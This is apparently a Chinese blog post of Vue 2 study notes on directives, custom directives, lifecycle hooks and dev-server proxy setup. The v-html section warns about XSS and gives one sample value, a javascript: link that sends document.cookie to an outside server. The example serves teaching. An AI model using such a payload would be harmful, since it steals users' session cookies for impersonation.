2. 使用过滤器:{{xxx | 过滤器名}} 或 v-bind: 属性 = "xxx | 过滤器名"

备注:

1. 过滤器也可以接收额外参数、多个过滤器也可以串联

2. 并没有改变原本的数据, 是产生新的对应的数据

内置指令 v-xxx

目前已经学过的指令:

1.v-bind 单向绑定 简写 :xxx

2.v-model 双向绑定

3.v-on 事件绑定 简写 @

4.v-for 遍历数组 / 对象 / 字符串

5.v-if 条件渲染 (控制节点是否存在)

6.v-else-if 条件渲染 (控制节点是否存在)

7.v-else 条件渲染 (控制节点是否存在)

8.v-show 条件渲染 (控制节点是否展示)

v-text指令

1. 给所在节点渲染文本内容,但不解析标签

2. 和 {{}} 不同,v-text 会直接替换所在节点的内容

  <div id="id" class="">
    <h1 v-text="name"></h1>//页面展示 biubiu
    <p v-text="str">不存在</p>//页面展示 lalala
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        name: 'biubiu',
        str: 'lalala'
      }
    })

v-html指令

老师总结

v-html 指令:

1. 作用:向指定节点中渲染包含 html 结构的内容。

2. 与插值语法的区别:

(1).v-html 会替换掉节点中所有的内容,{{xx}} 则不会。

(2).v-html 可以识别 html 结构。

3. 严重注意:v-html 有安全性问题!!!!

(1). 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击。

(2). 一定要在可信的内容上使用 v-html,永远不要用在用户提交的内容上!

	<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',// 危险行为,会携带cookie给别的服务器,别的服务器获取到可能会进行伪身份登录个人信息
			}
		})
	</script>

v-cloak指令

用于网速较慢,vue.js 还没加载完,页面出现 {{xxx}} 插值语法的问题

需要和 css 搭配使用,用属性选择器,[v-cloak]{display:none;} 来让其没加载 vue.js 时保持隐藏,当 vue.js 加载完毕后,v-cloak 会被移除,从而显现插值语法解析后的内容。

v-once指令

v-once 指令:

1.v-once 所在节点在初次动态渲染后,就视为静态内容了。

2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

  <div id="id" class="">
    <h1 v-once>n 的初始值为:{{n}}</h1>
    <h1>n 现在的值为:{{n}}</h1>
    <button @click="n++">n++</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 1
      }
    })

v-pre指令

v-pre 指令:

1. 跳过其所在节点的编译过程。

2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

自定义指令

作用

可以封装一些 Dom 操作,扩展额外功能。

定义语法

局部指令:

配置对象写法:
directives: {
    "focus": {
        inserted(el) {
            // 指令所在元素被插入页面时自动获取焦点
            el.focus()
        },
    },
},
函数写法:

函数写法的调用时间:

1. 指令和元素绑定时 (一上来)

2. 指令所在模板重新被解析时

<p>{{ n }}</p>
<p v-big="n"></p>

data() {
    return {
      n: 1,
    }
},
directives: {
   big(el, binding) {
     // 对指令所在元素的值扩大十倍
     el.innerText = binding.value * 10
   },
},

全局指令:

Vue.directive(指令名, 配置对象) 或 Vue.directive(指令名, 回调函数)

// 自定义全局指令
// 配置对象写法
Vue.directive('focus', {
    //指令所在元素被插入页面时调用
    "inserted"(el) {
        el.focus()
    }
})

// 函数写法
Vue.directive('指令名', ()=>{})

配置对象中常用的3个回调:

(1).bind只调用一次。

时机:当指令第一次绑定到元素上时调用。此时,元素尚未被插入到 DOM 中,但指令已经与元素建立了关联。

使用场景:适用于需要在元素与指令建立关联时立即执行的初始化操作,这些操作不依赖于元素在 DOM 中的位置或状态。例如,设置元素的初始样式或属性。

(2).inserted通常只调用一次。(当该元素被移除,但又被重新添加到 Dom 中,并且还有该自定义指令时将再次调用)

时机:指令所在元素被插入页面时调用。这意味着当元素被实际插入到 DOM 中时,inserted会被触发。此时,元素已经渲染完成,可以进行依赖于 DOM 的操作,如设置焦点、监听事件等。

使用场景:在这个钩子中,元素已经被插入到 DOM 中,因此你可以安全地执行依赖于 DOM 的操作,比如设置焦点、执行动画等。

(3).update:指令所在模板结构被重新解析时调用。

注意:不适用配置对象,

备注:

1. 指令定义时不加 v-,但使用时要加 v-;

2. 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名。

  <!-- 
	  需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	  需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
  -->
  <div id="id" class="">
    <h1>n 的值为 {{n}}</h1>
    <h1>n 扩大10倍的值为 <span v-big="n"></span></h1>
    <hr>
    <input type="text" v-fbind="n">
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 1
      },
      // 自定义指令  
      directives: {
        // 第一个参数为当前所在Dom节点,第二个参数是本次绑定信息
        // 函数写法-调用时间:1.指令和元素绑定时(一上来)  2.指令所在模板重新被解析时
        big(element, binding) {
          element.innerText = binding.value * 10
        },
        // 配置对象写法
        fbind: {
          // 成功绑定时调用
          bind(element, binding) {
            element.value = binding.value
          },
          // 指令所在元素插入到页面时调用
          inserted(element, binding) {
            element.focus()
          },
          // 指令所在的模板被重新解析时调用
          update(element, binding) {
            element.value = binding.value
          }
        }
      }
    })
  </script>

生命周期

生命周期:

1. 又叫:生命周期回调函数、生命周期函数、生命周期钩子

2. 在 vue 工作的过程中有许多不同时间自己调用的函数,这些函数就是生命周期

3. 这些函数名字不可更改,但是执行逻辑可由程序员自己编写

4. 这些函数中的 this 都指向 vm 或是 组件实例对象

mounted函数

当 Vue 解析模板把初始的真实的 Dom 放到页面后 (挂载完成后),调用 mounted

  <!-- 要求:让文字重复地逐渐透明 -->
  <div id="id" class="">
    <h1 :style="{opacity:opacity}">追逐光</h1>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        opacity: 1
      },
      // 当Vue解析模板把初始的真实的Dom放到页面后(挂载完成后),调用mounted
      mounted() {
        setInterval(() => {
          this.opacity -= 0.05
          if (this.opacity <= 0)
            this.opacity = 1
        }, 100)
      },
    })
  </script>

原理图

生命周期(钩子)

常用的生命周期钩子:

1.mounted: 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁 Vue 实例

1. 销毁后借助 Vue 开发者工具看不到任何信息。

2. 销毁后自定义事件会失效,但原生 DOM 事件依然有效。

3. 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。

Vue中的AJAX

vue脚手架配置服务器代理

方法一

在 vue.config.js 中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

方法二

编写 vue.config.js 配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

vue-resource插件(了解)

和 axios 的使用风格相同,但是得安装 npm i vue-resource,

//引入
import vueResouce from 'vue-resource'
//使用插件
Vue.use(vueResouce)
//发送请求
this.$http.get(这里面的使用和axios一样)

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

蜀枕清何

intp 逻辑家

站长

具有版权性

请您在转载、复制时注明本文 作者、链接及内容来源信息。 若涉及转载第三方内容,还需一同注明。

具有时效性

目录

欢迎来到蜀枕清何的站点,为您导航全站动态

10 文章数
1 分类数
1 评论数
1标签数
最近评论
蜀枕清何

蜀枕清何


hi

热门文章

k8s安装

2025-11-29

22
正则解析

2025-11-29

12
Vue2基础

2025-11-29

11